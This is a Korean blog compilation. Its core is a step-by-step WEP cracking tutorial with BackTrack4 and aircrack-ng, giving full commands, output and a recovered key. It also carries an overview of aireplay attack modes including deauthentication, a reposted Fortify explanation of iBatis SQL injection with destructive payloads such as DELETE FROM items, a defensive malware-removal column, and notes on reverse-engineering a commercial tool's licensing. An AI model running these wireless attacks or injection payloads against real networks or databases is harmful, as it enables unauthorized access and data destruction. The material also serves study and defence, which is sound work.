반응형


http://webtalk.kr/  에서 제공하는 웹채팅 화면이다... theappl 사이트에 붙어있는..ㅎㅎ
그냥 소스를 분석하다가 테스트겸 취약점을 분석해 봤다... 첫째 손님 채팅제한 풀기 둘째 계급올리기 등등..


반응형

BackTrack4 란 리눅스에 대해 알게 되고 관련 자료들을 정리해 본다.
http://www.remote-exploit.org/backtrack_download.html

무엇보다도 무선 랜에 관한 자료로 알게 되었는데 UI가 깔끔하고 속도도 빠르다.
일단 사용하면서 부딪혔던 문제에 대해서 정리한다.

일단 Vmware에서 가동중인 BackTrack4에 무선랜을 인식시키는데 부딪힌 난관
무선랜이 인식이 안되는것이다.
노트북 자체 무선랜은 인식이 안되기에 따로 외장 무선랜을 구매까지 했는데도 말이다.

일단 VMware에서 노트북 호스트에 있는 무선랜은 인식이 안된다고 한다.
VMware가 노트북 호스트에 있는 무선랜 디바이스를 게스트 OS에 연결하지 않기 때문..
그리하여 VMware 게스트 OS에서 노트북 호스트에 있는 USB 무선랜을 연결하려면,
디바이스를 넘겨줘야 된다. 그 방법은 VMware 메뉴에 보면 VM 메뉴가 보일것이다.
Removable Device에서 적합한 디바이스를 게스트에 연결해 주는 과정을 거치면 된다.

우선 AP의 WEP Key를 크래킹 하기 위해서는 수많은 양의 IVs(Initialization Vectors)를 모아야 한다.
일반적인 네트워크 트래픽을 저장하는 것으로 IVs를 수집하기엔 시간이 좀 걸린다.
수집시간을 줄이기 위해 Injectino이라고 부르는 기술을 사용할 것이다.
Injection 기법은 AP에 보낸 패킷을 계속해서 빠르게 재전송하기 때문에
많은 수의 IVs를 짧은 시간내에 얻을 수 있다.

*기타팁..
무선AP에서 MAC인증을 할 경우 무선 랜카드의 MAC을 수정해야 하는 경우가 있다.
윈도우 환경에서 해당툴을 이용하여 간단하게 바꿀 수 있슴..

http://www.wirelessdefence.org/Contents/MAC%20Address%20Changer.htm 

소스 파일: Project Homepage: http://www.codeproject.com/KB/applications/MacIdChanger.aspx
BackTrack 환경에서는 "macchager" 명령어가 포함되어 있다.


WEB Key를 크래킹 하기 위한 기본적은 단계는 다음과 같다.

  1. 공격할 AP MAC, Channel 정보를 수집하기.
  2. 무선랜을 모니터(monitor) 모드로 변경하기.
  3. aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.
  4. BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.
  5. aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.
  6. aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.

kismet을 실행하려면 무선랜카드가 Monitor 모드에 있어야 한다.
1. 무선랜 카드의 Monitor 모드를 해제한다.
    airmon-ng stop wlan0
2. 무선랜 카드를 Monitor 모드로 전환한다.
    airmon-ng start wlan0

그리고 kismet을 실행하려면, kismet.conf를 수정해서 무선랜 디바이스명과
무선랜 디바이스가 사용하는 드라이버명을 지정해줘야 한다.
/usr/etc/kimet.conf 파일에
ncsource=mon0:type=rt73
내용을 추가한다.

kismet을 실행하고 h를 누르면 도움말을 볼수 있다. 일단 s를 누르면 정렬방식을 지정하라고 뜬다.
s를 누르고 해킹할 AP를 선택하고 Enter를 누르면 자세한 정보를 볼수 있다.


2. 해킹을 위한 무선랜카드 설정하기 (Monitor Mode)

! interface 검사

root@bt:~# iwconfig

lo               no wireless extensions.

eth0           no wireless extensions.

wmaster0  no wireless extensions.

wlan0        IEEE 802.11bg  ESSID:""
                 Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
                 Tx-Power=0 dBm
                 Retry min limit:7   RTS thr:off   Fragment thr=2352 B
                 Encryption key:off
                 Power Management:off
                 Link Quality:0  Signal level:0  Noise level:0
                 Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
                 Tx excessive retries:0  Invalid misc:0   Missed beacon:0

! wlan0를 정지하기

root@bt:~# airmon-ng stop wlan0

Interface       Chipset                  Driver

wlan0            Ralink 2570 USB    rt2500usb - [phy1]
                                                   (monitor mode disabled)

 ! Wireless Card를 원하는 채널에 Monitor Mode로 변경한다.

  (여기서는 HCEducation AP해킹을 위해 1번채널을 설정)

  root@bt:~# airmon-ng start wlan0 1

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID       Name
4324    knetworkmanager

Interface       Chipset                    Driver

wlan0            Ralink 2570 USB      rt2500usb - [phy1]
                                                     (monitor mode enabled on mon0)

!  설정 후 점검.. 모니터 모드로 설정 후 mon0 인터페이스가 생긴걸 볼 수 있다...
이 환경우 WLAN 카드별로
  조금씩 다를 수 있으니...참고

root@bt:~# iwconfig
lo             no wireless extensions.

eth0          no wireless extensions.

wmaster0  no wireless extensions.

wlan0     IEEE 802.11bg  ESSID:""
               Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
               Tx-Power=21 dBm
               Retry min limit:7   RTS thr:off   Fragment thr=2352 B
               Encryption key:off
               Power Management:off
               Link Quality:0  Signal level:0  Noise level:0
               Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
               Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=21 dBm
               Retry min limit:7   RTS thr:off   Fragment thr=2352 B
               Encryption key:off
               Power Management:off
               Link Quality:0  Signal level:0  Noise level:0
               Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
               Tx excessive retries:0  Invalid misc:0   Missed beacon:0
                                   

3. IV 캡처를 위한 airodump-ng 사용 및 Injection Test

 root@bt:~# airodump-ng -c 1 --bssid 00:0E:E8:FB:5F:47 -w output mon0

-c는 무선 네트워크의 채널지정... kismet을 이용하여 수집된 정보를 이용하면 된다..
--bssid는 공격하고자 하는 AP의 MAC 주소지정.
-w는 IVs들을 저장할 파일 이름을 지정.
mon0은 인터페이스 이름지정.

@ airodump-ng를 실행한 화면....

 

4. Airepla-ng를 이용한 AP에 fake authentication 하기

AP가 패킷을 받아들이기 위해서는 반드시 대상 MAC 주소와 연결이 이루어져야 한다.
Injection을 하고자 하는 AP의 주소에 가짜 인증(fake authentication)으로 연결하여야 한다.

root@bt:~# aireplay-ng -1 0 -e HCEducation -a 00:0E:E8:FB:5F:47
                                                                    -h 00-16-01-9C-0A-4F mon0

03:15:24  Waiting for beacon frame (BSSID: 00:0E:E8:FB:5F:47) on channel 1

03:15:24  Sending Authentication Request (Open System)
03:15:25  Authentication successful
03:15:25  Sending Association Request [ACK]
03:15:25  Association successful :-) (AID: 1)

-1은 fake authentication
0은 초당 재연결 시간
-e HCEducation는 무선 네트워크 이름
-a 00:0E:E8:FB:5F:47 은 AP의 MAC 주소
-h 00-16-01-9C-0A-4F는 자신의 랜카드 MAC 주소
mon0은 무선 네트워크 interface 이름

@ fake authentication이 성공한 화면......

  

5. aireplay-ng를 이용한 ARP Request Replay mode로 패킷 주입하기 

ARP request를 재주입하는 이유는 AP는 보통 ARP request를 받으면 새로운 IV를 생성하여 반출하기 때문
이를 통해 우리는 짧은 시간내에 많은 양의 IVs를 수집할 수 있게 된다.

root@bt:~# aireplay-ng -3 -b 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

@ aireplay-ng을  이용한 fake authentication 후 Injection 공격을 하고 있는 화면....

@ airodump-ng에서 Capture 되고 있는 화면...Data가 40,000개 이상이 될때 까지 기다린다.... (WEP 128bit)



PTW 공격을 위해 필요한 패킷수...

WEB key가 64bit인 경우 : 250,000개의 IV / 20,000개의 패킷

WEB key가 128bit인 경우 : 1,500,000개의 IV / 40,000 ~ 85,000개의 패킷

 

6. WEP key 크랙을 위한 aircrack-ng 사용 

@ 새로운 konsole 창을 열고 다음 명령을 입력한다.

root@bt:~# aircrack-ng -z -b 00:0E:E8:FB:5F:47 output*.cap

-z :  PTW WEP-crack 방법사용
-b : 공격대상 AP에 MAC 주소
output*.cap : IV캡처해서 저장한 파일을 지정 

 @ 40분정도 수집된 IV를 이용한 WEP key 128bit 크랙이 완료된 화면....
암호가 asdf123456789 입니다....

 

@@ Summary

1. 정보수집을 위한 Kismet 사용 (공격할 AP MAC, Channel 정보를 습득한다.)

root@bt:~# kismet

2. 해킹을 위한 무선랜카드 설정하기 (Monitor Mode)

root@bt:~# airmon-ng stop wlan0

root@bt:~# airmon-ng start wlan0 1


3. IV 캡처를 위한 airodump-ng 사용 과 Wireless Device Packet Injection 테스트하기

root@bt:~# airodump-ng -c 9 --bssid 00:0E:E8:FB:5F:47 -w output mon0

root@bt:~# aireplay-ng -1 mon0

4. Airepla-ng를 이용한 AP에 fake authentication 하기

root@bt:~# aireplay-ng -1 0 -e HCEducation -a 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

5. aireplay-ng를 이용한 ARP Request Replay mode로 패킷 주입하기 

root@bt:~# aireplay-ng -3 -b 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

6. WEP key 크랙을 위한 aircrack-ng 사용

root@bt:~# aircrack-ng -z -b 00:0E:E8:FB:5F:47 output*.cap


 


 Aircrack-ng 패키지 구성

A.     aircrack-ng

airodump-ng를 통하여 캡쳐된 암호화 패킷들을 이용하여 암호화에 사용된 키를 추출해낼 수 있는 프로그램입니다. WEP 암호화 키의 추출에는 PTW메소드, FMS/KoreK메소드가 사용되는데, 메소드의 알고리즘은 < http://aircrack-ng.org/doku.php?id=links#technique_papers> 에서 확인할 수 있습니다. aircrack-ng는 추가로 brute force Dictionary method를 지원하는데, WPA-PSK 암호화의 크래킹은 현재 이 한가지 방법으로만 가능합니다. WPA-PSK 크래킹은 클라이언트와 AP간 연결시 발생하는 4-way handshake 패킷을 캡쳐하여, 제공된dictionary의 특정 엔트리를 일일이 대입해 봄으로써 진행됩니다.

 

B.     airdecap-ng

airdecap-ngWEP/WPA/WPA2로 암호화된 패킷들을 복호화하거나, 복호화된 패킷들에서 무선 헤더들을 떼내는데 사용됩니다.

 

C.     aireplay-ng

aireplay-ng frame의 삽입, WEP WPA-PSK키의 크랙에 필요한 패킷을 ap에 전송하는데 이용됩니다. 이용되는 공격방식들은 다음과 같습니다.

 

                i.         Attack 0: Deauthentication

이 공격방법은 AP와 이미 연결되어있는 클라이언트를 가장하여 연결해제 패킷(disassociate packet)을 보내는 것입니다. 공격받은 클라이언트와 AP의 연결이 해제된다면, 클라이언트가 끊어진 연결을 다시 복구하려 하게 되고, 이때 공격자는 hidden ESSID 감지(ap essid broadcast되지 않는 경우), WPA/WPA2 handshakes 패킷 캡쳐, ARP request 생성(window의경우 연결이 끊어졌을 때 aprcache를 클리어하기때문) 등과 같은 공격을 할 수 있게 됩니다. 이 공격에는 APMAC주소, 연결을 끊을 클라이언트의 MAC주소가 필요하며 MAC주소를 특정하지 않는 경우 AP에 연결된 모든 클라이언트의 연결을 해제시킬 수 있습니다.

 

               ii.         Attack 1: Fake authentication

이는 OpenSystem Share Key 타입의 WEP 암호화를 사용하며, AP에 가짜 연결을 생성하는 공격입니다. 이 공격은 공격할 AP에 아무런 연결이 없어 패킷 캡쳐가 불가능한 경우 이를 해결하기 위해 사용될 수 있으며 WPA/WPA2 AP에는 사용이 불가능합니다.

 

              iii.         Attack 2: Interactive packet replay

이 공격은 공격대상에게 특정 패킷을 보내서 회신을 받을 수 있도록 하는 것입니다.

목적지가 broadcast MAC주소인 경우인 패킷 (ARP request와 같이), 혹은 to DS(distribution system) flag 1인 패킷들을 이용하거나, 그게 아니라면 아예 목적에 맞는 새로운 to DS 패킷을 생성하여 공격하며, 대상이 답변 패킷을 보내도록 함으로써 결과적으로 이를 크랙에 이용할 수 있도록 합니다.

 

              iv.         Attack 3: ARP request replay attack

ARP request replay 공격은 새로운 initialization vector들을 생성하는데 가장 효과적이고 신뢰할 수 있는 방법입니다. 프로그램은 공격대상의 네트워크에서 ARP패킷이 생성되기를 기다리다가 이를 캡쳐한후 AP에 재전송을 여러 번 합니다. 이때 AP는 새로운 IV를 이용한 똑같은 ARP 패킷을 여러 번 반복 전송하게 됩니다. 이러한 방식으로 생성된 ARP패킷들은 WEP키를 쉽게 크랙할 수 있도록 합니다.

 

               v.         Attack 4: KoreK chopchop attack

chopchop공격은 WEP키를 모르는상태로 WEP 데이터 패킷을 복호화 하는 것입니다. 이 공격을 통해 WEP키를 알아낼 수는 없지만, 평문을 해석해 낼 수 있습니다.

이러한 공격이 가능한 원리는 다음 링크에서 얻을 수 있습니다.

http://www.aircrack-ng.org/doku.php?id=chopchoptheory

 

 

              vi.         Attack 5: Fragmentation attack

이 공격을 통해 WEP키 대신 PRGA(pseudo random generation algorithm) 를 얻을 수 있습니다.

PRGA는 약 1500byte, packetforge-ng에서 여러 인젝션공격을 위한 가짜 패킷을 생성하는데 사용됩니다. 기본적으로 이 프로그램은 패킷에서 몇가지 키가 될 수 있는 부분들을 추출한뒤, 그 내용을 알고 있는 ARP혹은 LLC혹은 두가지 패킷 모두를 AP에 보내고, 이에 반응한 AP에서 답신해온 패킷들을 통하여 많은양의 암호화정보를 추출해내는 방식으로 이루어집니다.

알고리즘에 대한 자세한 정보는 다음 링크에서 확인할 수 있습니다.

http://wiki-files.aircrack-ng.org/doc/Fragmentation-Attack-in-Practice.pdf

 

D.     airmon-ng

airmon-ng는 무선랜 인터페이스에서 Monitor mode를 활성화하는데 사용됩니다. Monitor modeairodump-ng에서 패킷 캡쳐링을 할 수 있도록 합니다.

 

E.      airodump-ng

Airodump-ng 802.11프레임 패킷들을 캡쳐할 수 있는 프로그램입니다. 이를 통해 주변 AP의 정보나 패킷량 등을 모니터링 하거나 저장할 수 있습니다. 또한 WEP IV를 수집하는데 적합하게 설계되었으며, 이는 aircrack-ng를 통하여 WEP key를 추출해 낼 수 있도록 합니다.

만약 컴퓨터에 GPS 수신기가 달려있다면, 모니터링중 찾아낸 AP들의 좌표를 기록할 수 있습니다.

 

F.      airtun-ng

Airtun-ng는 가상터널인터페이스를 생성할 수 있습니다.

이는 다음과 같은 기능을 위해 사용될 수 있습니다 :

-       wIDS (wireless intrusion detection system)

-       network에 임의의 트래픽 인젝션

 

wIDS 데이터수집을 위해, 모니터링할 네트워크의 bssid와 암호화키를 알고 있어야 합니다. Airtun-ng 는 가상 네트워크 인터페이스를 만든뒤, 공격하는 네트워크의 트래픽을 모두 복호화하여 이 인터페이스로 복사함으로써 이를 snort, wireshark와 같은 전통적인 IDS에 넘길 수 있습니다.

 

트래픽인젝션은 WEP키를 가지고 있을 경우 송/수신 정보 모두를, PRGA만을 가지고 있을 경우 송신 정보만을 인젝션 할 수 있습니다.

 

G.     packetforge-ng

Packetforge-ng injection에 사용될 수 있는 암호화된 패킷을 만들어 낼 수 있습니다. Arp, UDP, ICMP 혹은 다른 종류의 패킷들을 생성할 수 있습니다.

암호화된 패킷을 생성하기 위해서는, 반드시 PRGA 패킷을 가지고 있어야 합니다.

 

H.     airdecloak-ng

특정 종류의 AP에서는 WIPS(Wireless intrusion prevention system)을 도입하여, WEP키 크랙킹을 방지합니다. 이는 가짜 WEP 프레임을 삽입함으로써 aircrack-ng wep키를 크래킹하는것을 방해할 수 있습니다. Airdeclock-ng는 이러한 가짜 프레임을 구별해내어 필터링함으로써 결과적으로 aircrack-ng wep를 알아낼 수 있도록 합니다.



그 외 관련 자료 :  http://ntlab.egloos.com/2482499
  1. 지나가다 2010.04.18 02:15

    (나쁜의도로 WEB깨는것을 막기위해)요즘에는 Decoy AP를 노출시키는 제품도 있습니다.
    Decoy 가 해킹 시도를 감지하면 해당 Mac Address를 수집해서 차단시키고 블랙리스트에 등록합니다.
    그렇기 때문에 본인의 Ethernet Card의 Mac Address를 변경한 뒤에 작업하시는게 좋은데, 그 부분이 빠져있네요.
    잘 보고 갑니다~

반응형

악의적인 의도로 리버싱을 하지 않습니다.

리버스 엔지니어링에 대한 순수한 학구열과 도전정신의 산물입니다.

또한 관련된 패치 프로그램과 패치 방법등에 대해서 알려주거나 배포하지 않습니다.

참고로 프로그레스바에 대한 패치는 아직 못하였습니다.
윈도우프로그래밍에대한 지식이 부족하기 때문에 좀더 공부의 필요성을 절실히 느끼네요.
윈도우API 책을 사놓고 펴보지도 못하고 있는데 이번 기회에 좀 봐야겠네요.


  1. 익명 2009.07.30 01:45

    비밀댓글입니다

  2. 지나가던나그네 2009.09.12 09:47

    머하러 올렸나요. 검색에 안떴으면 좋겠네요.

반응형
출처: http://www.hauri.co.kr/customer/security/colum_view.html?intSeq=89&page=1&keyfield=&key=

악성코드 짜잉나는 놈 내 손으로 제거해 주마!!! ㅎㅎ

악성코드 관련 컬럼이 있어 퍼왔습니다. 눈에 익은 툴들이 몇개 보이네요....ㅎ

 

1. 악성코드의 형태


악성코드는 대부분 스스로 실행 가능한 .exe 형태이거나, 다른 프로세스에 인젝션 되어 실행되는 .dll형태로 존재한다. 이번 칼럼에서는 간단하게 .exe형태의 악성코드를 제거해보도록 하겠다. 왜냐하면 .exe형태의 프로세스가 .dll형태의 악성코드보다 인지하는게 수월하기 때문이다.


2. 유용한 확인/제거 툴


ㄱ. Process Explorer 작업관리자로도 .exe형태의 파일을 볼 수는 있지만, 프로세스명만 나오기 때문에 많이 부족하다.이를 보완해줄수 있는 툴이 Process Explorer이다. 이 툴은 간단하게는 이미지(파일) 경로와 프로세스명, User Name등을 알 수 있으며, 프로세스의 실행, 일시정지, 재실행, 종료등 여러가지 기능을 가지고 있다.


ㄴ. Autoruns 레지스트리를 확인할 수 있는 툴로 부팅시 자동실행되는 파일이나 서비스를 보여준다. 이것을 이용해서 재부팅시 실행되는 악성코드도 확인 할 수 있다.


ㄷ. IceSword / Gmer 루트킷 탐지와 숨겨진 프로세스, 파일 등을 종료시키거나 제거할 때 사용한다.


ㄹ. File Monitor / Registry Monitor 파일이나 레지스트리의 IO를 사람의 눈으로 확인하기가 힘들기 때문에, IO에 대한 로그를 보고IO를 확인하는데 사용한다.


ㅁ. taskkill 하나 이상의 프로세스를 종료하는데 사용하며 여러가지 조건을 줄 수 있다.


3. 악성코드에 감염된 PC를 찾아라


악성코드를 제거하기 위해서는 감염된 PC가 필요한데 실PC가 감염되면 좋을게 하나도 없다. 이럴때 필요한 것이 가상머신인데 VmWare, VirtualPC, VirtualBox등 여러가지가 있다. 자신에게 맞는 가상머신을 설치하고 OS도 설치하여 필요한 툴도 넣고, 마지막으로 스냅샷 등의 복원지점도 설정해놓아야 편안하게 감염 테스트를 할 수 있다.


ㄱ. 필자는 VirtualBox를 이용해 보았으며 툴도 넣어두었고, 복원지점을 위해 스냅샷도 찍어 두었다. 숨길건 없지만, 안개효과를 내주는 Blur 필터를 추가하니 이미지가 멋있어졌다.



 

ㄴ. 가상머신에 공유폴더를 이용하여 악성코드와 툴을 넣고 File Monitor를 실행해두고, 악성코드인 TEST_MAL.vir.exe를 실행시켰다. 악성코드가 C:\lsass.exe를 생성시키는 것을 알수 있었다.


(설정변경 : 메뉴의 Help밑에 보이는 깔때기 아이콘 실행 -> Highlite에 Write;Delete 추가)



ㄷ. 이제 악성코드는 TEST_MAL.vir.exe와 C:\lsass.exe 두 마리다.


실행중인 악성코드를 보기위해 Process Explorer을 실행시켜 악성코드를 지켜보니 처음에 실행한 악성코드 TEST_MAL.vir.exe와 계속해서 실행/종료를 반복하고 있는 C:\lsass.exe를 확인할 수 있다.


(빨간색 줄은 종료되는 프로세스를, 녹색줄은 이제 막 실행되고 있는 프로세스를, 보라색은 압축되어 있는 프로세스를 나타낸다.)



 

4. 악성코드 제거하기


이제 감염된 PC가 생겼으니 제거해보자. 원래 쉬운것부터 해나가야 실력이 늘것이고, 주유소 습격사건의 유오성처럼 한 놈만 잡으면 다른것도 응용해서 할 수 있을꺼라 생각한다. 대부분의 악성코드를 직접 감염시켜보는게 아니기 때문에 어떤 프로세스를 종료시켜야 할 지 난감할 것이다. 이 많은 프로세스중에 어떤게 악성코드일까?


ㄱ. 악성코드 의심 대상을 좁혀라.


(Services로 실행되는 악성코드는 예외) Process Explorer가 트리구조로 보여주는 것을 감안하여 Shell로 동작하는 explorer.exe의 자식노드(우측으로 치우친)로 보여지거나, (모니터를 기준으로) explorer.exe의 아래쪽에 존재하는 프로세스들을 자세히 들여다 보자. 이는 우리가 PC에 로그인하여 실행하는 프로그램들은 쉘에서 실행되기 때문이며, 예외적으로 쉘에서 실행된 것중 자식프로세스를 생성하고 죽을경우 Process Explorer는 해당 자식 프로세스를 쉘과 동등한 레벨로 보여주기 때문이다.


(이것은 마치 SI로 추정되는 사람을 특정국가에서 귀국한 사람들로 범위를 좁혀가는 것과 같은 것이다. 하지만 사람은 악성코드가 아니다.)


ㄴ. 하나씩 제외시키면 악성코드가 보인다. 평소에 자신이 많이 보았거나 확실하게 아는 프로세스를 제외해보면 몇 개 안남을 것이다. 지금 같은 경우는 TEST_MAL.vir.exe와 실행/종료를 반복하는 lsass.exe만 눈에 띄게 이상하다. ㄷ. 의심되는 프로세스를 찾았다. 정말 악성코드일까?


- 백신업체에 해당 파일을 압축암호와 함께 압축하여 신고


=> 악성코드의 신고접수는 자신뿐 아니라 많은 백신 이용자들이 PC를 쾌적하고 안전하게 사용할 수 있게 해준다. 많은분들이 계속해서 신고해준다면 더 좋아지지 않을까?


- 각 백신업체의 홈페이지에서 무료로 검사해 볼 수 있다.


- 여러 백신업체의 스캐너로 악성코드를 무료로 검사해준다.


=> http://www.virustotal.com/ko


=> http://virscan.org


ㄹ. 확신이 섰다면 악성코드를 종료하자. 실행중인 악성코드를 종료하기 위해 Process Explorer에서 해당 악성코드를 선택하여 마우스 우측버튼을 누르면 나오는 메뉴중 [Kill Process] 를 선택하면 해당 프로세스가 종료되고, [Kill Process Tree]를 선택하면 해당 프로세스 및 해당 프로세스의 자식 프로세스까지 같이 종료된다. - TEST_MAL.vir.exe, lsass.exe -> 마우스 우측버튼 -> Kill Process/Kill Process Tree



 

ㅁ. 어라.. 아직 남았네.


Process Explorer로 TEST_MAL.vir.exe는 종료되었지만, 실행/종료를 반복중인 lsass.exe는 끄떡도 안한다. 일반적인 바이러스의 경우 Process Explorer, IceSword, Gmer, 추가적으로 Autoruns면 끝을 보는데 실행/종료를 반복하는 악성코드의 경우는 이것들로 해결이 되지 않을 수 있다.


[시도-1] IceSword로 Process를 종료해보자.


(생성/종료를 반복하기 때문에 안보일때도 있음) 왼쪽메뉴 Function/Registry/File중 Function을 선택한 뒤 Process를 선택하면 실행중인 프로세스의 PathName과 ImageName를 확인할 수 있다. 마우스 우측버튼으로 선택해서 Terminate Process를 누르면 종료해보자. 종료된 것 처럼 보였지만, 여전히 프로세스 생성/종료를 반복하고 있다. 실패!!



[시도-2] 실패했다. 그러면 IceSword로 파일을 지워보자.


왼쪽메뉴 Function/Registry/File중 File을 선택하여 C드라이브를 선택하면 lsass.exe가 보이므로 해당 악성코드를 선택하여 [Delete]/[force delete]해보자. 지워진것 처럼 보이지만 Process Explorer에서는 여전히 실행/종료를 반복하고 있다. 실패!!



[시도-3] Gmer로 프로세스를 종료해보자.


(생성/종료를 반복하기 때문에 선택안됨) Gmer를 실행시키고 맨위의 메뉴 [Rootkit/Malware]/[>>>>]중 >>>>를 선택하면 아래와 같은 메뉴가 나온다. 그중 첫번째에 있는 Process를 선택하여 [Kill Process]하려 하였으나 선택이 안된다. 실패!!



[시도-4] Gmer로 파일을 파일을 지워보자.


메뉴중 [File]를 선택하여 C드라이브에 존재하는 lsass.exe를 선택하여 [Delete]를 누르면 제거되지만 다른 폴더를 억세스후 다시 확인해보면 그대로다. 실패!! [File]메뉴에도 [Kill]이 존재하여 종료해보니 성공 반!! 실패 반!! 이었다.



ㅂ. 왜 안되는지 문제점을 파악하자.


Process Explorer, IceSword의 문제는 실행/종료가 반복되는 해당 프로세스에 대한 종료를 하려 하면 이미 해당 프로세스의 ID(=PID)는 이미 사라지고 다른 PID가 생성되면서 딜레이가 발생해서 인것으로 추정되었다. 즉 툴이 보여주는 프로세스와 현재 실행중인 프로세스에 차이가 발생해서 종료가 불가능 했던 것이며, Gmer의 경우 성공 반!! / 실패 반!! 이 가능했던 이유는 변하지 않는 않는 파일쪽에서 [Kill]명령을 내려서 인것으로 추정되었다. 한 두번 하면 성공!!


ㅅ. 위의 방법만으로만 해결이 가능한 것일까? 좀더 쉬운 방법은 없을까?


여러가지 조건을 걸어줄 수 있는 Taskkill이 가능 했었다. 아래의 Process Explorer을 보면 정상 lsass.exe와 악성 lsass.exe의 차이를 찾아서 조건부 Kill을 하면 되는 것이었다. Process Explorer의 숨겨진 컬럼을 추가하여 보자.


a. View -> Select Columns선택



b. Process Image에서 User Name, command Line를 체크해준다.



c. 아래의 컬럼이 추가된 Process Explorer을 보면 User Name이 다른 것을 알수 있다.

Taskkill을 이용하여 종료시켜보자. 프로세스가 종료되는 순간이 있기 때문에 프로세스를 찾지 못하는 경우도 있으니, 한두번 더 해주면 성공할 것이다.

<<사용된 명령어>> Taskkill /f /fi “username eq pcname” /im lsass.exe




휴.. 해결되었다.. 처음엔 쉬운걸 선택한줄 알았는데, 의외로 까다로운 악성코드였다. 이번 악성코드는 좀 방황했지만, 대부분 Process Explorer에서 프로세스를 종료하고 IceSword나 Gmer로 파일을 지우면 대부분 해결된다. 이제 악성코드라고 멀리하지 말고 가끔은 자신의 힘으로 악성코드를 제거해보는건 어떨까 한다. 물론 가끔이다.


(주)하우리 기술연구소 바이러스팀 연구원 이새별


반응형

ABSTRACT

Constructing a dynamic SQL statement with user input could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

EXPLANATION

SQL injection errors occur when:

1. Data enters a program from an untrusted source.

2. The data is used to dynamically construct a SQL query.



iBatis Data Maps allow you to specify dynamic parameters in SQL statements and are typically defined by using the # characters, like this:


<select id="getItems" parameterClass="MyClass" resultClass="items">
SELECT * FROM items WHERE owner = #userName#
</select>


The # characters around the variable name indicate that iBatis will create a parameterized query with the userName variable. However, iBatis also allows you to concatentate variables directly to SQL statements using $ characters, opening the door for SQL injection.

Example 1: The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where the owner matches the user name of the currently-authenticated user.


<select id="getItems" parameterClass="MyClass" resultClass="items">
SELECT * FROM items WHERE owner = #userName# AND itemname = '$itemName$'
</select>


However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:


SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';


The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:


SELECT * FROM items;


This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 2: This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name wiley enters the string "name'; DELETE FROM items; --" for itemName, then the query becomes the following two queries:


SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name';

DELETE FROM items;

--'


Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed [4]. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string "name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a", the following three valid statements will be created:


SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name';

DELETE FROM items;

SELECT * FROM items WHERE 'a'='a';


One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted

- Find ways to bypass the need for certain escaped meta-characters

- Use stored procedures to hide the injected meta-characters

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

< 출처: http://www.fortify.com/vulncat/en/vulncat/java/sql_injection_ibatis_data_map.html >

현재 참여하고 있는 프로젝트에서 IBATIS 프레임워크를 사용하고 있습니다.

우연히 IBATIS SQL Injection에 대한 자료가 있길래 흥미롭게 읽다가 이렇게 블로그에 옮겨 봅니다.

참고로 영문 자료로 되어있지만 어렵지 않게 이해할수 있기때문에 기타 설명은 달지 않겠습니다.

짧은 영어실력이고 ㅡㅡ; 정리해서 올릴 시간적 여건이 안되기에..(핑계입니다. ㅠㅠ)

담에 시간날때 다시 보고 정리해야 겠습니다.
반응형
나의 두번째 희생양이 된것은 에스큐엘디비엑스 입니다.

제가 사용하는 디비툴중에 편리함으로 치면 쵝오! 라고 생각하는 툴이고 상용입니다.

상용툴이고 또 제가 애용하는 툴이기에 제품명에 색칠 좀 했습니다.ㅎㅎ;(장난치나 라고 돌던지지 말아주시길^^;)

이 툴 또한 패킹이 되어 있지 않더군요.. 해당 툴 버전은 밑에 스샷에 보시다시피 Professional Edition 이구요.

라이센스 만료라 하여 별 신경쓰지 않았지만 한번 까 보았습니다.

